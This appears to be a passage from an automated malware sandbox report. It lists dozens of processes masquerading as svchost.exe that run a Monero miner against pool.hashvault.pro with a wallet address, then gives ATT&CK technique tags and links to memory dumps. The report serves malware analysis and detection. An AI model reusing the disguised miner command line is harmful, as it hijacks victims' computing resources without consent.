  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:4624
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:5536
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:5880
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:3096
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:2476
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:5260
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:4584
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:5740
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:2188
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:5412
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:5332
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:4368
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:3000
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:5824
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:920
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:3820
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:3164
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:3132
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:4952
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:4140
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:3768
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:4924
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:5656
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:2956
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:1116
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:5380
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:2920
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:4852
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:2484
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:1052
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:1604
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:2928
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:3888
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:5720
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:4144
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:1392

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/560-77-0x00007FF6C5930000-0x00007FF6C6112000-memory.dmp

Download

memory/560-62-0x00007FF6C5930000-0x00007FF6C6112000-memory.dmp

Download

memory/1196-162-0x00000000007F0000-0x0000000001A8F000-memory.dmp

Download

memory/1196-73-0x00000000007F0000-0x0000000001A8F000-memory.dmp

Download

memory/1196-175-0x00000000007F0000-0x0000000001A8F000-memory.dmp

Download

memory/1196-28-0x00000000007F0000-0x0000000001A8F000-memory.dmp

Download

memory/1196-146-0x00000000007F0000-0x0000000001A8F000-memory.dmp

Download

memory/1196-133-0x00000000007F0000-0x0000000001A8F000-memory.dmp

Download

memory/1196-117-0x00000000007F0000-0x0000000001A8F000-memory.dmp

Download

memory/1196-103-0x00000000007F0000-0x0000000001A8F000-memory.dmp

Download

memory/1196-87-0x00000000007F0000-0x0000000001A8F000-memory.dmp

Download

memory/1196-0-0x00000000007F0000-0x0000000001A8F000-memory.dmp

Download

memory/1196-204-0x00000000007F0000-0x0000000001A8F000-memory.dmp

Download

memory/1196-188-0x00000000007F0000-0x0000000001A8F000-memory.dmp

Download

memory/1196-33-0x00000000007F0000-0x0000000001A8F000-memory.dmp

Download

memory/1196-217-0x00000000007F0000-0x0000000001A8F000-memory.dmp

Download

memory/1196-55-0x00000000007F0000-0x0000000001A8F000-memory.dmp

Download

memory/1196-40-0x00000000007F0000-0x0000000001A8F000-memory.dmp

Download

memory/1328-54-0x00007FF6C5930000-0x00007FF6C6112000-memory.dmp

Download

memory/1328-66-0x00007FF6C5930000-0x00007FF6C6112000-memory.dmp

Download

memory/2084-32-0x00007FF6C5930000-0x00007FF6C6112000-memory.dmp

Download

memory/2084-29-0x00007FF6C5930000-0x00007FF6C6112000-memory.dmp

Download

memory/2252-50-0x00007FF6C5930000-0x00007FF6C6112000-memory.dmp

Download

memory/4100-13-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp

Download

memory/4100-27-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp

Download

memory/4100-25-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp

Download

memory/4100-24-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp

Download

memory/4100-23-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp

Download

memory/4100-22-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp

Download

memory/4100-21-0x000001B416340000-0x000001B41634A000-memory.dmp

Download

memory/4100-20-0x000001B42E7A0000-0x000001B42E852000-memory.dmp

Download

memory/4100-19-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp

Download

memory/4100-18-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp

Download

memory/4100-17-0x000001B416320000-0x000001B41633E000-memory.dmp

Download

memory/4100-14-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp

Download

memory/4100-12-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp

Download

memory/4100-11-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp

Download

memory/4100-10-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp

Download

memory/4100-9-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp

Download

memory/4100-8-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp

Download

memory/4100-7-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp

Download

memory/4100-6-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp

Download

memory/4100-5-0x000001B416280000-0x000001B4162A2000-memory.dmp

Download

memory/4100-2-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp

Download

memory/4100-1-0x00007FFD36F6F000-0x00007FFD36F70000-memory.dmp

Download